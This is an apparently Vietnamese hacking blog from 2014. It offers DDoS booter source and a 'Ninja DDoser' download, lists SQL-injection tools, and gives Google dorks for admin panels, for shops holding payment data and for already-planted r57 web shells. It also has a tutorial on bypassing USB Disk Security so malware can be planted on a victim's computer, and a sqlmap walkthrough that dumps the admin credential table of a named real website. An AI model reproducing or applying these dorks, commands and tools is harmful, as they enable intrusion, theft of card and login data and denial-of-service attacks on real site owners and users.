iljimae blog's

Thursday, November 13, 2014

Re-Boot V4 (Paradooter) Source

Details/Features

Ajax support for a much nicer user experience
Homepage with news
Account settings (change password/email)

Admin features

Settings: change booter name, cooldown system, ip blacklist, booter statistics and more
Shells: add/manage shells
Users: add/delete/edit users
News: add/delete news

Pictures demo

Download

10 Tools SQLi best 2014

1.BSQL Hacker

This is a useful tool for both experts and beginners that automates SQL Injection attacks on websites.

2. The Mole

This is an SQL Injection tool that uses the union technique or the boolean query-based technique.

3. Pangolin

This is a penetration testing tool developed by NOSEC. It is aimed at detecting and exploiting SQL injection vulnerabilities on websites.

4. SQLMap

This is an open source penetration testing tool that security professionals can use. Like the BSQL Hacker tool, this one also automates SQL Injection attacks.

5. Havij

This is an automated SQL injection tool that can be used by penetration testers in order to detect vulnerabilities in web applications and exploit them.

6. Enema SQLi

This is a dynamic penetration testing tool for professionals. It is an auto-hacking software.

7. Sqlninja
This is a tool targeted at exploiting SQL injection vulnerabilities. It uses the Microsoft SQL server as its back end.

8. Sqlsus

Written using the Perl programming language, this is an open source penetration testing tool for MySQL Injection and takeover.

9. Safe3 SQL Injector

This is a powerful penetration testing tool, which automates the process of detecting and exploiting SQL Injection vulnerabilities.

10. SQL Poizon
This tool includes php , asp , rfi , lfi dorks that can be used for penetration testing

End.

Ninja DDoser

Virus Scan:

Archivo: Ninja DDosser.exe
SHA1: c65c463436e654151facc181d26a38dc6d5
Fecha scan: 05-12-12,08:05:12
Reporte generado por maarayaa.com
Resultado: 2 de 35

AVG Free Clean
ArcaVir Clean
Avast 5 Clean
AntiVir (Avira) Clean
BitDefender Clean
VirusBuster Internet Security Clean
Clam Antivirus Clean
COMODO Internet Security Clean
Dr.Web Clean
eTrust-Vet Clean
F-PROT Antivirus Clean
F-Secure Internet Security Clean
G Data Clean
IKARUS Security Clean
Kaspersky Antivirus Clean
McAfee Clean
MS Security Essentials Clean
ESET NOD32 Clean
Norman Clean
Norton Antivirus Clean
Panda Security Clean
A-Squared Clean
Quick Heal Antivirus Clean
Solo Antivirus Clean
Sophos Clean
Trend Micro Internet Security Clean
VBA32 Antivirus Clean
Vexira Antivirus Clean
Zoner AntiVirus Clean
Ad-Aware Trojan.Win32.Generic.pak!cobra
BullGuard Clean
Immunet Antivirus Clean
K7 Ultimate Clean
NANO Antivirus Clean
VIPRE Trojan.Win32.Generic.pak=21cobra

Download

Dorks To Find Admin Cpanel Page

inurl:"admin1.php"

admin1.php

admin1.html

admin2.php

admin2.html

yonetim.php

yonetim.html

yonetici.php

yonetici.html

admin/account.php

admin/account.html

admin/index.php

admin/index.html

admin/login.php

admin/login.html

admin/home.php

admin/controlpanel.html

admin/controlpanel.php

admin.php

admin.html

admin/cp.php

admin/cp.html

cp.php

cp.html

administrator/

administrator/index.html

administrator/index.php

administrator/login.html

administrator/login.php

administrator/account.html

administrator/account.php

administrator.php

administrator.html

login.html

modelsearch/login.php

moderator.php

moderator.html

moderator/login.php

moderator/login.html

moderator/admin.php

moderator/admin.html

account.php

account.html

controlpanel/

controlpanel.php

controlpanel.html

admincontrol.php

admincontrol.html

adminpanel.php

adminpanel.html

admin1.asp

admin2.asp

yonetim.asp

yonetici.asp

admin/account.asp

admin/index.asp

admin/login.asp

admin/home.asp

admin/controlpanel.asp

admin.asp

admin/cp.asp

cp.asp

administrator/index.asp

administrator/login.asp

administrator/account.asp

administrator.asp

login.asp

modelsearch/login.asp

moderator.asp

moderator/login.asp

moderator/admin.asp

account.asp

controlpanel.asp

admincontrol.asp

adminpanel.asp

fileadmin/

fileadmin.php

fileadmin.asp

fileadmin.html

administration/

administration.php

administration.html

sysadmin.php

sysadmin.html

phpmyadmin/

myadmin/

sysadmin.asp

sysadmin/

ur-admin.asp

ur-admin.php

ur-admin.html

ur-admin/

Server.php

Server.html

Server.asp

Server/

wp-admin/

administr8.php

administr8.html

administr8/

administr8.asp

webadmin/

webadmin.php

webadmin.asp

webadmin.html

administratie/

admins/

admins.php

admins.asp

admins.html

administrivia/

Database_Administration/

WebAdmin/

useradmin/

sysadmins/

admin1/

system-administration/

administrators/

pgadmin/

directadmin/

staradmin/

ServerAdministrator/

SysAdmin/

administer/

LiveUser_Admin/

sys-admin/

typo3/

panel/

cpanel/

cPanel/

cpanel_file/

platz_login/

rcLogin/

blogindex/

formslogin/

autologin/

support_login/

meta_login/

manuallogin/

simpleLogin/

loginflat/

utility_login/

showlogin/

memlogin/

members/

login-redirect/

sub-login/

wp-login/

login1/

dir-login/

login_db/

xlogin/

smblogin/

customer_login/

UserLogin/

login-us/

acct_login/

admin_area/

bigadmin/

project-admins/

phppgadmin/

pureadmin/

sql-admin/

openvpnadmin/

wizmysqladmin/

vadmind/

ezsqliteadmin/

hpwebjetadmin/

newsadmin/

adminpro/

Lotus_Domino_Admin/

bbadmin/

vmailadmin/

ccp14admin/

irc-macadmin/

banneradmin/

sshadmin/

phpldapadmin/

macadmin/

administratoraccounts/

admin4_account/

admin4_colon/

radmind-1/

Super-Admin/

AdminTools/

cmsadmin/

phpSQLiteAdmin/

server_admin_small/

database_administration/

system_administration/

How To Hack USB Disk Security

USB Disk Security là một phần mềm ngăn chặn các truy cập trái phép của ổ đĩa USB có nghĩa là bạn không thể sao chép bất kỳ tập tin từ máy tính vào USB của bạn hoặc từ USB của bạn vào máy tính. Ngoài ra nó phát hiện hầu hết các loại virus ở trong ổ đĩa Flash mà ngày nay được gọi là ổ đĩa CD/DVD. Và trong thế giới hiện đại ngày nay hầu hết tất cả mọi người đều sử dụng nó. Vì vậy nếu bạn muốn cài 1 Malware hoặc bất cứ thứ gì vào máy tính của ai đó để đánh cắp thông tin từ máy tính của của nạn nhân, nhưng phần mềm này sẽ không cho phép bạn làm bất cứ điều gì, nó sẽ nhắc bạn điền 1 mật khẩu nào đó. Nếu bạn ngồi đoán mò, hên xui thì có thể ra còn không thì rất mất thời gian.

Cho nên trong bài viết lần này sẽ có 1 cái thủ thuật nho nhỏ giúp các bạn crack

*Tiến Hành

- Ẩn tổ hợp phím Windows + R để mở hộp thoại Run và gõ regedit

- Chọn HKEY_LOCAL_MACHINE/SOFTWARE/ZbshaLab/USBGuard

* Ở đây có file: pwd =>> Chính là mật khẩu ta cần tìm

- Nhấn đúp chuột vào pwd ta được mã MD5:

- Cuối cùng các bạn crack mã MD5 ra ta sẽ có được kết quả

END TUTORIAL

Sunday, November 9, 2014

Dork pp + cc.

________________________________________________________________________________

inurl:".php?cat="+intext:"Paypal"+site:UK

inurl:".php?cat="+intext:"/Buy Now/"+site:.net

inurl:".php?cid="+intext:"online+betting"
inurl:".php?id=" intext:"View cart"
inurl:".php?id=" intext:"Buy Now"
inurl:".php?id=" intext:"add to cart"
inurl:".php?id=" intext:"shopping"
inurl:".php?id=" intext:"boutique"
inurl:".php?id=" intext:"/store/"
inurl:".php?id=" intext:"/shop/"
inurl:".php?id=" intext:"toys"
inurl:".php?cid="
inurl:".php?cid=" intext:"shopping"
inurl:".php?cid=" intext:"add to cart"
inurl:".php?cid=" intext:"Buy Now"
inurl:".php?cid=" intext:"View cart"
inurl:".php?cid=" intext:"boutique
inurl:".php?cid=" intext:"/store/"
inurl:".php?cid=" intext:"/shop/"
inurl:".php?cid=" intext:"Toys"
inurl:".php?cat="
inurl:".php?cat=" intext:"shopping"
inurl:".php?cat=" intext:"add to cart"
inurl:".php?cat=" intext:"Buy Now"
inurl:".php?cat=" intext:"View cart"
inurl:".php?cat=" intext:"boutique
" inurl:".php?cat=" intext:"/store/"
inurl:".php?cat=" intext:"/shop/"
inurl:".php?cat=" intext:"Toys"
inurl:".php?catid="
inurl:".php?catid=" intext:"View cart"
inurl:".php?catid=" intext:"Buy Now"
inurl:".php?catid=" intext:"add to cart"
inurl:".php?catid=" intext:"shopping"
inurl:".php?catid=" intext:"boutique"
inurl:".php?catid=" intext:"/store/"
inurl:".php?catid=" intext:"/shop/"
inurl:".php?catid=" intext:"Toys"
inurl:".php?categoryid="
inurl:".php?categoryid=" intext:"View cart"
inurl:".php?categoryid=" intext:"Buy Now"
inurl:".php?categoryid=" intext:"add to cart"
inurl:".php?categoryid=" intext:"shopping"
inurl:".php?categoryid=" intext:"boutique"
inurl:".php?categoryid=" intext:"/store/"
inurl:".php?categoryid=" intext:"/shop/"
inurl:".php?categoryid=" intext:"Toys"
inurl:".php?pid="
inurl:".php?pid=" intext:"shopping"
inurl:".php?pid=" intext:"add to cart"
inurl:".php?pid=" intext:"Buy Now"
inurl:".php?pid=" intext:"View cart"
inurl:".php?pid=" intext:"boutique"

________________________________________________________________________________

Syslogger admin Finder new 2014

Syslogger admin Finder_new 2014

link download : http://upfile.vn/xgLgKrZm7QBm/1337-admin-p4ge-find3r-exe.html
link download 2: https://hostr.co/pKKcTse5SP1R

SQLMAP CƠ BẢN

Demo: link lỗi sqli
http://autohoabinh.com/?page=products_detail&id=296&catid=2'
Vào thư mục chưa bộ công cụ sqlmap
cd /pentest/database/sqlmap/
đầu tiên ta get database nhé

python sqlmap.py -u "http://autohoabinh.com/?page=products_detail&id=296&catid=2" --dbs

ở đây --dbs là databases
thêm 1 số cái nữa như
--dbs DBMS databases
--tables DBMS database tables
--columns DBMS database table columns
--schema DBMS schema
--dump dump dữ liệu

Database nhận đc là athb_db nhé.

tiếp tục ta get các table như sau

python sqlmap.py -u "http://autohoabinh.com/?page=products_detail&id=296&catid=2" -D athb_db --tables

table tbl_admin là table chúng ta cần khai thác đúng hok nào,giờ ta lấy các column nhé

python sqlmap.py -u "http://autohoabinh.com/?page=products_detail&id=296&catid=2" -D athb_db -T tbl_admin --columns

kết quả nhận đc như sau

bây giờ ta sẽ dump các trường id,name và pass nhé.ta dump trường id trước nào

python sqlmap.py -u "http://autohoabinh.com/?page=products_detail&id=296&catid=2" -D athb_db -T tbl_admin -C id --dump

kết quả nhận đc là id ->1 .tương tự ta dump các trường còn lại

python sqlmap.py -u "http://autohoabinh.com/?page=products_detail&id=296&catid=2" -D athb_db -T tbl_admin -C name --dump

kết quả nhận đc thì user là admin nhé

python sqlmap.py -u "http://autohoabinh.com/?page=products_detail&id=296&catid=2" -D athb_db -T tbl_admin -C pass --dump

end tutorial.

Dork shell 2014

safe-mode: off (not secure) drwxrwxrwx r57shell

inurl:r57.php

inurl:r57.php uid=0(root)

root r57.php

"Captain Crunch Security Team" inurl:r57

inurl:r57.php

allinurl: r57.php

inurl:r57.php

inurl:"r57.php" r57shell

inurl:r57.php uid=0(root)

r57shell powered by admin

r57shell powered by admin

inurl:"/r57.php"

inurl:r57.php

r57 shell v.1.0 (roots)

inurl:r57.php

allintitle: "r57shell"

inurl:"r57.php

allinurl: "r57.php"

inurl:r57.php

intitle:r57Shell v. 1.0 pre-release +uname

allinurl: "r57.php"

inurl:r57.php

inurl:"r57.php" r57shell

inurl:"/r57.php

inurl:/r57.php+uname

allinurl:"r57.php"

inurl:"r57.php"

allinurl:r57.php

"inurl:r57..php"

r57shell [file on secure ok ]?

powered by Captain Crunch Security Team

allinurl:r57.php

"r57.php" filetype:php

allinurl:r57.php

inurl:r57.php

allinurl:.r57.php

"inurl:r57.php"

r57. PHP-code Feedback Self remove

allinurl:r57.php

download r57.php

allinurl:r57.php

inurl:r57.php

allinurl: "r57.php"

intitle:r57Shell v. 1.0 pre-release +uname

allinurl:"r57.php"

inurl:r57.php

safe-mode: off (not secure) drwxrwxrwx r57shell

r57.php download

inurl:r57.php

r57shell filetype:php -echo

inurl:"r57.php"

inurl:r57.php uid=0(root)

allinurl:r57.php

inurl:"/r57.php" intitle:"r57shell"

r57Shell v. 1.0 pre-release build #5

--[ r57shell v. 1.0 pre-release build #16

r57shell linux infong

r57Shell v. 1.0 pre-release build

!r57Shell v. 1.0 beta!

Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!r57shell v. 1+Safe-mode: OFF (not secure)

"r57Shell v. 1.0 pre-release build "

intitle:r57shell +filetype:php

inurl:r57.php

intitle:r57Shell v. 1.0 pre-release +uname

intitle:!r57Shell v. 1.0 pre-release build #16! root

!r57Shell v. 1.0 pre-release build #5!

inurl:"r57.php"

r57Shell v. 1.0 pre-release build #16!

intitle:r57shell intext:uname

allintext:r57Shell v. 1.0 pre-release build #12

r57shell v. 1.0 pre-release build #16

--[ r57shell v. 1.0 pre-release build #15 | Powered by ]--

allinurl: "r57.php"

Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

"r57shell v 1.0"

ftp apache inurl:r57.php

r57shell+v.+1.0 16

r57Shell v. 1.0 pre-release build #16 download

intitle:r57shell "Software: Apache"

allinurl: r57.php

allintext: Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove

intitle:r57shell uname -bbpress

intitle:"index.of" r57.php

inurl:admin/files/

intitle:"index of /" "r57.php"

intitle:"index of" intext:r57.php

intitle:index.of r57.php

intitle:"index of" + r57.php

intitle:index/of file r57.php

intitle:index/of file r57.php

index of /admin/files/

intitle:"Index of/"+r57.php

r57.php "intitle:Index of "

intitle:index.of r57.php

img/r57.php

intitle:index.of r57.php

img.r57.php

intitle:"Index of/"+r57.php

"index of /" r57.php

r57.php

intitle:"Index of" r57.php

"index of" r57.php

"Index of/"+r57.php

iljimae blog's

Thursday, November 13, 2014

Re-Boot V4 (Paradooter) Source

Re-Boot V4 (Paradooter) Source

Download

10 Tools SQLi best 2014

10 Tools SQLi best 2014

End.

Ninja DDoser

Ninja DDoser

Dorks To Find Admin Cpanel Page

Dorks To Find Admin Cpanel Page

inurl:"admin1.php"

How To Hack USB Disk Security

How To Hack USB Disk Security

Sunday, November 9, 2014

Dork pp + cc.

Dork pp + cc.

Syslogger admin Finder new 2014

Syslogger admin Finder_new 2014

SQLMAP CƠ BẢN

SQLMAP CƠ BẢN

end tutorial.

Dork shell 2014

Dork shell 2014

Nhận bài qua Email

Top Commentator